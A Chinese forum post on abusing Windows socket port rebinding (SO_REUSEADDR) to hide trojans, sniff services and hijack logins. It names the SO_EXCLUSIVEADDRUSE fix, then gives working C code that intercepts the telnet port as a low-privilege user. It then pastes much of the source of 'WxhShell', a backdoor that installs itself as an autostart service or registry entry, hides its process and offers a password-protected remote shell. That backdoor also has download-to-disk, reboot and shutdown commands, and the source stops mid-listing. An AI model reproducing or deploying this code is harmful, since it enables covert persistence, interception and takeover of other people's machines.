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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: a%igc^GS2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ']'V?@H]4  
#J_+ SL[  
  saddr.sin_family = AF_INET; 9%  wVE]  
%c`P`~sp  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); dF#`_!4pbf  
[.[|rnil  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $sa5aUg }  
K|Kc.   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z<h?WsL  
,fR/C  
  这意味着什么?意味着可以进行如下的攻击: a|u&N:v7B  
a*GiLq  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $(A LxC  
*ke9/hO1i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =|Vm69  
6U!zc]>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 CG397Y^  
E|`JmfLQu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Ee0}Xv  
Ak=|wY{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5U[bn=n  
R|OY5@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 PS\n0  
zh6 0b{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =E~)svl6g  
G~$[(Fhk  
  #include FsTl@zN  
  #include [:Y`^iR.  
  #include fk!P#  
  #include    ^PrG5|,s  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /tqQAvj  
  int main() 3^x C=++  
  { HgfeSH  
  WORD wVersionRequested; UX!)\5-  
  DWORD ret; n+qa/<  
  WSADATA wsaData; DwBKqhu  
  BOOL val; ZBcT@hxm  
  SOCKADDR_IN saddr; GDBxciv  
  SOCKADDR_IN scaddr; /~nPPC  
  int err; >|| =#;  
  SOCKET s; `^#V1kRmH  
  SOCKET sc; P{tH4V23T  
  int caddsize; eT<T[; m  
  HANDLE mt; lemE/(`a_  
  DWORD tid;   BH+@!H3 hf  
  wVersionRequested = MAKEWORD( 2, 2 ); '$m uA\  
  err = WSAStartup( wVersionRequested, &wsaData ); =bDy :yY}  
  if ( err != 0 ) { cq-UVk"Gl  
  printf("error!WSAStartup failed!\n"); JS{trqc1d  
  return -1; X@cO`P  
  } /ltGSl  
  saddr.sin_family = AF_INET; "1X@t'H38  
   b,MzHx=im  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c(5r  
B4d\4S_r%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8e{S(FZ7Ed  
  saddr.sin_port = htons(23); BL?Bl&p(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IJz=SV  
  { <+iL@'SgF  
  printf("error!socket failed!\n"); Ed$;#4  
  return -1; F9\T <  
  } nJ{vO{N  
  val = TRUE; ,ag:w<km  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hJsYKd8g  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u hJnDo  
  { XI"8d.VR  
  printf("error!setsockopt failed!\n"); z&x3":@u<  
  return -1; /rQ[Ik$|  
  } `of` uB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; gLGu#6YVu  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $ &III  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {~u#.(  
2$OI(7b=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) DE659=Tq  
  { Rx,Qw> #  
  ret=GetLastError(); L2GUrf  
  printf("error!bind failed!\n"); |?=a84n1l  
  return -1; qY^@^)b[  
  } g$P<`.  
  listen(s,2); X4z6#S58  
  while(1) kafRuO~$  
  { S]#xG+$<  
  caddsize = sizeof(scaddr); B<}0r 4T}  
  //接受连接请求 ,|u^-J@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^S]-7>Yyr  
  if(sc!=INVALID_SOCKET) 8:QnxrODP  
  { @s[Vtw%f  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %DqPRl.Gu  
  if(mt==NULL) #;*0 Pwe`  
  { p#fd+  
  printf("Thread Creat Failed!\n"); <.6bni )  
  break; |1z?#@BH  
  } %n7mN])  
  } (Z{&[h  
  CloseHandle(mt); BEfp3|Stb  
  } @2HNYW)  
  closesocket(s); |5(< Vk=  
  WSACleanup(); ]`S35b  
  return 0; ?oKY"C8/  
  }   h%0hryGB  
  DWORD WINAPI ClientThread(LPVOID lpParam) `EjPy>kM  
  { ?~g X7{>  
  SOCKET ss = (SOCKET)lpParam; :% o32  
  SOCKET sc; N9s ,..  
  unsigned char buf[4096]; _t+.I9kQ  
  SOCKADDR_IN saddr; Ev'Bm Dk  
  long num; bF#1'W&  
  DWORD val; k%[pZ 5.!  
  DWORD ret; ;K+'J0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _#2AdhCu  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   w)u6J ,  
  saddr.sin_family = AF_INET; JC[G5$E  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {8YNmxF#  
  saddr.sin_port = htons(23); F N)vFQ#J  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "N|gU;~W  
  { 'Itsu~fza  
  printf("error!socket failed!\n"); Gx.iZOOH/  
  return -1; yhBf%m  
  } Oy,`tG0  
  val = 100; Sjogv  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8D[,z 7n  
  { 5NT?A,r"  
  ret = GetLastError(); w N-np3k  
  return -1; k~<b~VcU  
  } XKTX~:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,2I8,MOg  
  { gp/_# QVWC  
  ret = GetLastError(); IQz:D J  
  return -1; ATdK)gG  
  } z g'1T2t  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xq.HR_\  
  { cc"L> XoK  
  printf("error!socket connect failed!\n"); W)0y+H\% r  
  closesocket(sc); (zm5 4 Vm  
  closesocket(ss); f8m%T%]f  
  return -1; 7i,Z c]  
  } 5tIM@,.I/  
  while(1) Bx>)i8P7i0  
  { oZY2K3J)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Hvm+Tr2@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s /? &H-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Pd,+= ML  
  num = recv(ss,buf,4096,0); .>K):|Opv  
  if(num>0) +:s]>R eDa  
  send(sc,buf,num,0); A=v^`a03I  
  else if(num==0) E27N1J+1  
  break; *=-o0c  
  num = recv(sc,buf,4096,0); HhmC+3w.7  
  if(num>0) ~B NLzt3%O  
  send(ss,buf,num,0); 0NN{2"M$p  
  else if(num==0) 2hjR'6h"Y  
  break; Llf |fayq  
  } j:yQP# U  
  closesocket(ss); "iCR68e  
  closesocket(sc); <By6%<JTn  
  return 0 ; z)Y<@2V*C  
  } 7VF^&6  
q+MV@8w  
iaqhP7!  
========================================================== }HM8VAH  
Jl"),;Od  
下边附上一个代码,,WXhSHELL "%c\i-&t  
Fb<r~2  
========================================================== *cdr,AD?lH  
Fh XR!x^  
#include "stdafx.h" =:+k  
C-;y#a)  
#include <stdio.h> _)J;PbK~  
#include <string.h> 2V}tDN7c  
#include <windows.h> wff&ci28  
#include <winsock2.h> Q0K4_iN)&  
#include <winsvc.h> VrF(0,-Z`3  
#include <urlmon.h> c2}?[\U]  
&^ sgR$m  
#pragma comment (lib, "Ws2_32.lib") >IW0YIQy,  
#pragma comment (lib, "urlmon.lib") apxZ}  
4:\s.Z{!3  
#define MAX_USER   100 // 最大客户端连接数 m6a q_u{W  
#define BUF_SOCK   200 // sock buffer x%ZgLvdp,  
#define KEY_BUFF   255 // 输入 buffer |kvom 4T  
G?LPj*=$?  
#define REBOOT     0   // 重启 u,:GJU  
#define SHUTDOWN   1   // 关机 v535LwFW  
Do7&OBI~  
#define DEF_PORT   5000 // 监听端口 SxMrX C*  
Le9^,B@Pb  
#define REG_LEN     16   // 注册表键长度 3~"G(UP  
#define SVC_LEN     80   // NT服务名长度 6i/x"vl>  
kji*7a?y  
// 从dll定义API n*6b*fl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .6%-Il  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @[0zZX2EE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1FU(j*~:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8LP L4l  
X>w(^L*>  
// wxhshell配置信息 2R&msdF   
struct WSCFG { :E/]Bjq$;  
  int ws_port;         // 监听端口 SxLu<  
  char ws_passstr[REG_LEN]; // 口令 O/^7TBTn<r  
  int ws_autoins;       // 安装标记, 1=yes 0=no `7qZ6Z3z@  
  char ws_regname[REG_LEN]; // 注册表键名 c>~"Z-VtX  
  char ws_svcname[REG_LEN]; // 服务名 *TY?*H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vn@9Sqk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nwh7DU i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  Hu|;cbK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MtC\kTW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g$s"x r`:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q]3bGO;  
Jrd:6Z  
}; Zr,:i MPZ  
OosxuAC(  
// default Wxhshell configuration )J 4XM(  
struct WSCFG wscfg={DEF_PORT, (]0JI1 d  
    "xuhuanlingzhe", won;tO]\;@  
    1, Fyy)665x/  
    "Wxhshell", o 5dPE{f  
    "Wxhshell", H%`Ja('"p  
            "WxhShell Service", hER]%)#r  
    "Wrsky Windows CmdShell Service", 7Z0fMk  
    "Please Input Your Password: ", 1w}%>e-S  
  1, [k-Q89  
  "http://www.wrsky.com/wxhshell.exe", Y.&nxT95=  
  "Wxhshell.exe" &U%AVD[  
    }; J ylav:  
~;nh|v/e  
// 消息定义模块 /?<o?IR~6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P!@b:.$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Tg|0!0qD]F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [%'yHb~<  
char *msg_ws_ext="\n\rExit."; R{"Kh2q_  
char *msg_ws_end="\n\rQuit."; Vvk1 D(  
char *msg_ws_boot="\n\rReboot..."; R&Y+x;({  
char *msg_ws_poff="\n\rShutdown..."; k^ B<t'  
char *msg_ws_down="\n\rSave to "; T$[50~  
9?$Qk0jc  
char *msg_ws_err="\n\rErr!"; 8UiRirw  
char *msg_ws_ok="\n\rOK!"; fz'@ON  
g{wOq{7V  
char ExeFile[MAX_PATH]; Q-<N)K$F(4  
int nUser = 0; r:fMd3;gq  
HANDLE handles[MAX_USER]; G^E"#F  
int OsIsNt; 8i:E$7etH  
$m{-I=  
SERVICE_STATUS       serviceStatus; T%|{Qo<j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?:DeOBAb  
a=n* }.  
// 函数声明 XFJGL!wWm[  
int Install(void); 3%gn:.9N  
int Uninstall(void); oPP`)b$x  
int DownloadFile(char *sURL, SOCKET wsh); F/33# U  
int Boot(int flag); G)~/$EF,_  
void HideProc(void); L\;n[,.  
int GetOsVer(void); r{oRN  
int Wxhshell(SOCKET wsl); CshYUr -  
void TalkWithClient(void *cs); ZSWKVTi  
int CmdShell(SOCKET sock); hb@,fgo!Q  
int StartFromService(void); O^/z7,  
int StartWxhshell(LPSTR lpCmdLine); t5t!-w\M$+  
cX~J6vNy5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FYe#x]ue  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1nGpW$Gx  
D1G9^7:^E  
// 数据结构和表定义 ":igYh  
SERVICE_TABLE_ENTRY DispatchTable[] = z[vHMJ 0  
{ hB[VU ";  
{wscfg.ws_svcname, NTServiceMain}, b { M'aV  
{NULL, NULL} M%{,?a0V  
}; 2Q bCH}  
Ec2?'*s   
// 自我安装 <PMQ$s>KK  
int Install(void) 'tJb(X!]q  
{ B7QuSo//  
  char svExeFile[MAX_PATH]; *WzvPl$e  
  HKEY key; /&>vhpZ}  
  strcpy(svExeFile,ExeFile); bf4QW JZD  
6j 2mr6o  
// 如果是win9x系统,修改注册表设为自启动 AQ)DiH  
if(!OsIsNt) { @1c[<3xJ T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PS:"mP7n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \bXusLI!l  
  RegCloseKey(key); ,S V34+(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yiO/0nMp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7gnrLc$]O  
  RegCloseKey(key); Kry^ 47"  
  return 0; %mFZ!(  
    } x?6 \C-i  
  } lnQfpa8j  
} H$M{thW  
else { )&px[Dbx  
/:GeXDJw  
// 如果是NT以上系统,安装为系统服务 (8Inf_59  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -hU1wX%U  
if (schSCManager!=0) [sc4ULS &  
{ 2~B9 (|  
  SC_HANDLE schService = CreateService A7enC,Ey  
  ( uXuA4o$t-  
  schSCManager, w l#jSj%pd  
  wscfg.ws_svcname, cOoF +hz0O  
  wscfg.ws_svcdisp, /RBIZ_  
  SERVICE_ALL_ACCESS, 0 zn }l6OS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &6O0h0Vy  
  SERVICE_AUTO_START, bNh~=[E  
  SERVICE_ERROR_NORMAL, W6&mXJ^3L  
  svExeFile, N2.(0 G  
  NULL, d>gN3}tT  
  NULL, XCyAt;neon  
  NULL, 'z$!9ufY,  
  NULL, #>_5PdO  
  NULL q]rqFP0C  
  ); LB\+*P6QM  
  if (schService!=0) Eoh{+>:6  
  { @3_."-d  
  CloseServiceHandle(schService); r"$~Gg.%(  
  CloseServiceHandle(schSCManager); 9Ac4'L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $*qQ/hi  
  strcat(svExeFile,wscfg.ws_svcname); \F8 :6-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7*C>4Gs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); KYM%U" jD  
  RegCloseKey(key); l|L ]==M  
  return 0; r 3FUddF'  
    } Y*-dUJK-`  
  } PL*1-t?#  
  CloseServiceHandle(schSCManager); `%$l b:e  
} 58[.]f~0  
} {1L{   
!f01.Tq8  
return 1; s0/y> ok  
} 2'-o'z<  
r68d\N`.  
// 自我卸载 |*y'H*  
int Uninstall(void) 4O '%$6KR(  
{ fK10{>E1  
  HKEY key; Jl@YBzDfF  
T u7}*vsR  
if(!OsIsNt) { V!zU4!@qP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >vZ^D  
  RegDeleteValue(key,wscfg.ws_regname); 6fV;V:1{  
  RegCloseKey(key); gT#hF]c:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^ Q  
  RegDeleteValue(key,wscfg.ws_regname); -m_H]<lWZ  
  RegCloseKey(key); {(_>A\zi  
  return 0; G%XjDxo$I  
  } yv2wQ_({  
} P$Fq62;}r4  
} -^WW7 g`  
else { 0/fA>%&  
)|`w;F>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C o,"  
if (schSCManager!=0) Q)93 +1]  
{ lJ(] ;/%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A9kn\U92  
  if (schService!=0) Xo ,U$zE  
  { a n|bzG  
  if(DeleteService(schService)!=0) { &e;GoJ  
  CloseServiceHandle(schService); 4rH:`494  
  CloseServiceHandle(schSCManager); !H4C5wDu  
  return 0; hZ UnNQ  
  } (x1 #_~  
  CloseServiceHandle(schService); _)-y&  
  } 4&wwmAp^  
  CloseServiceHandle(schSCManager); /5j]laYK)  
} Ry"N_Fb  
} fB`7f $[  
yN9setw*,M  
return 1; :za:gs0  
} A?ij  
j[Oh>yG  
// 从指定url下载文件 d/l>~%bR  
int DownloadFile(char *sURL, SOCKET wsh) c|(&6(r  
{ SoNT12>  
  HRESULT hr; v|GDPq  
char seps[]= "/"; mecm,xwm  
char *token; CkEbSa<)hK  
char *file; i~uoK7o|G  
char myURL[MAX_PATH]; qTrb)95  
char myFILE[MAX_PATH]; m!^z{S  
1LonYAHF  
strcpy(myURL,sURL); <XH,kI(%  
  token=strtok(myURL,seps); eWU@ @$9  
  while(token!=NULL) {O (@}  
  { +JPHQx'W  
    file=token; "Is0:au+?}  
  token=strtok(NULL,seps); #uCE0}N@  
  } G*W54[  
4=7h1qex  
GetCurrentDirectory(MAX_PATH,myFILE); #ByrX\  
strcat(myFILE, "\\"); .Uh|V -  
strcat(myFILE, file); $pfN0/`(  
  send(wsh,myFILE,strlen(myFILE),0); *;Gnod<  
send(wsh,"...",3,0); :2E?|}`7\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6/l{e)rX2o  
  if(hr==S_OK) RinaGeim  
return 0; 2; ~jKR[~  
else 9P\R?~3  
return 1; _l$X![@6=  
l t{yo\  
} FiW>kTM8  
>Z!H9]f(  
// 系统电源模块 $p~X"f?0  
int Boot(int flag) |!\5nix3A>  
{ I'a&n}j x  
  HANDLE hToken; KXbD7N.  
  TOKEN_PRIVILEGES tkp; 2/.I6IbL  
Nc[[o>/Cb  
  if(OsIsNt) { dBM> ;S;v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :?J0e4.]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x'hUw*  
    tkp.PrivilegeCount = 1; Q|i`s=|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PYJ8\XZ1_N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K f}h{X  
if(flag==REBOOT) { n s`njx}C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D<UX^hU   
  return 0; + -OnO7f  
} p!RyxB1.|  
else { ~Lf>/w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BIeeu@p  
  return 0; VKb'!Ystl  
} -:NFF'  
  } NkL>ru!b9  
  else { oH]"F  
if(flag==REBOOT) { -9@/S$i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rWnZIt"  
  return 0; Q=T/hb  
} +VdC g_  
else { m* JbZT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #oQDt'  
  return 0; uszH1@g'  
} [ r;hF  
} fqQ(EVpQ  
2j( ]Bt:  
return 1; VT~jgsY  
} %X>P+6<=  
{c\KiWN  
// win9x进程隐藏模块 `zBQ:_3J_  
void HideProc(void) `ot <BwxJ  
{ ;"j>k>tg  
Bgy?k K2[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $9m>(b/;n  
  if ( hKernel != NULL ) "5@k\?x"  
  { dp'xd>m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f )K(la^'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :HTV8;yc  
    FreeLibrary(hKernel); oNK-^N?-T  
  } nW7Ew<`Q  
zy!mP  
return; g?=|kp  
} u{dI[?@  
v#WD$9QWs  
// 获取操作系统版本 #V:28[  
int GetOsVer(void) cc_v4d{x  
{ NwB;9ZhZ  
  OSVERSIONINFO winfo; NP?hoqeKs  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EXD Qr'"  
  GetVersionEx(&winfo); %L;;W,l$`)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xY,W[?3CY  
  return 1; i!k5P".o^  
  else yYri.n  
  return 0;  q{*4BL'  
} 9u2Mra  
x8q3 Njr  
// 客户端句柄模块 ^KO=8m( )J  
int Wxhshell(SOCKET wsl) o6LZ05Z-&  
{  J0Ik@  
  SOCKET wsh; ;4] sP^+  
  struct sockaddr_in client; '}|sRuftb  
  DWORD myID; k,UezuV  
h%yw'?s  
  while(nUser<MAX_USER) Z+?V10$  
{ n 0*a.  
  int nSize=sizeof(client); Q $5U5hb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VM[U&g<8n  
  if(wsh==INVALID_SOCKET) return 1; c5f8pa *  
map#4\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5^W},:3R  
if(handles[nUser]==0) eYD|`)-f<^  
  closesocket(wsh); L@t}UC  
else j4hiMI;  
  nUser++; (ev(~Wc  
  } KNZN2N)wR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *#n?6KqZ  
k@i+gV%  
  return 0; *'q6#\#.  
} )n&@`>vm  
;#F7Fp*U  
// 关闭 socket n,+/%IZ  
void CloseIt(SOCKET wsh) TDtS^(2A7K  
{ i& ,Wg8#R  
closesocket(wsh); O%KP,q&}Y  
nUser--; ARt+"[.*p  
ExitThread(0); as%ab[ fX  
} ZI8*PX%2  
f 4Yn=D=_  
// 客户端请求句柄 GV aIZh<  
void TalkWithClient(void *cs) l(CMP!mY  
{ jZX2)#a!  
yK #9)W-  
  SOCKET wsh=(SOCKET)cs; ,%zU5hh  
  char pwd[SVC_LEN]; >#Obhs|S{C  
  char cmd[KEY_BUFF]; @D3Y}nR:  
char chr[1]; uIO<6p)  
int i,j; k{ru< cf  
86BY032H  
  while (nUser < MAX_USER) { S1B^FLe7X  
y]veqa  
if(wscfg.ws_passstr) { PDEeb.(.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z"T#"FDIr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uV@#;c4  
  //ZeroMemory(pwd,KEY_BUFF); ("7rjQjRz  
      i=0; Hlr[x  
  while(i<SVC_LEN) { /2n-q_  
*QIlh""6  
  // 设置超时 1zDat@<H  
  fd_set FdRead; v|&Nh?r  
  struct timeval TimeOut; vl "l  
  FD_ZERO(&FdRead); Ig sK7wn  
  FD_SET(wsh,&FdRead); :&{:$-h!  
  TimeOut.tv_sec=8; b3Uw"{p  
  TimeOut.tv_usec=0; (rHS2SA\5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "\x<Zg;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zv^km5by  
QQnpy.`:/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :?*|Dp1  
  pwd=chr[0]; lD%Fk3  
  if(chr[0]==0xd || chr[0]==0xa) { kT jx.  
  pwd=0; $hn=MOMc  
  break; 4DYa~ =w  
  } WB7pdSZ  
  i++; V?.')?'V  
    } r\+0J`  
eYN =?  
  // 如果是非法用户,关闭 socket c,K)*HB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -/y]'_a  
} RWe$ZZSz!  
8,0WHivg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R7q\^Yzo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *CIR$sS  
<K(qv^C  
while(1) { )\q A[rTG  
;yvx-  
  ZeroMemory(cmd,KEY_BUFF); <? Z[X{  
]~Su  
      // 自动支持客户端 telnet标准   z^ai *   
  j=0; +PlA#DZu  
  while(j<KEY_BUFF) { ?=bqya"Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >{seaihK  
  cmd[j]=chr[0]; _V jfH2Y  
  if(chr[0]==0xa || chr[0]==0xd) { a'[Ah2}3r<  
  cmd[j]=0; B#|c$s{  
  break; z f rEM  
  } ,EE,W0/zzM  
  j++; (mNNTMe  
    } r@O5{V  
d;4LHQ0yU  
  // 下载文件 s9Tp(Yr,k  
  if(strstr(cmd,"http://")) { Z~?1xJ&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .+@;gVZx1  
  if(DownloadFile(cmd,wsh)) u . xUM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !R 2;]d*  
  else @26gP:Um  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W RBCNra  
  } dHzQAqb8J  
  else { ?g6xy[  
cbton<r~  
    switch(cmd[0]) { @L9C_a  
  U '$W$()p  
  // 帮助 +.EP_2f9  
  case '?': { ]T?Py)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); __3s3YG  
    break; sa7F-XM  
  } At0ahy+  
  // 安装 ?xRx|_}e  
  case 'i': { U5iyvU=UG  
    if(Install()) 7xhBdi[ dQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AgBXB%).  
    else *\n-yx]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |h7 d #V>  
    break; pGsk[.  
    } +=V[7^K;  
  // 卸载  v<_wf  
  case 'r': { Hdn%r<+c  
    if(Uninstall()) k(]R;`f$W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <27:O,I  
    else NKSK+ll2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qDV t  
    break; ^5GyW`a}  
    } ,\Q^[e!m~  
  // 显示 wxhshell 所在路径 5Y3L  
  case 'p': { B1U<m=Y  
    char svExeFile[MAX_PATH]; L,+m5wKj[  
    strcpy(svExeFile,"\n\r"); }g9g]\.!a  
      strcat(svExeFile,ExeFile); *6` };ASK  
        send(wsh,svExeFile,strlen(svExeFile),0); `xq/<U;i  
    break; Rt9S  
    } Bw{enf$vR  
  // 重启 <b,oF]+;z  
  case 'b': { r3BQo[ 't  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7;i [  
    if(Boot(REBOOT)) gic!yhsS_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (>R   
    else { Bs!F |x(  
    closesocket(wsh); v\3 \n3[u  
    ExitThread(0); LFskNF0X  
    } DTMoZm  
    break; _-R&A@  
    } ? koIZ  
  // 关机 Tp[-,3L  
  case 'd': { O!U8"Yr$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w~%Rxdh?8W  
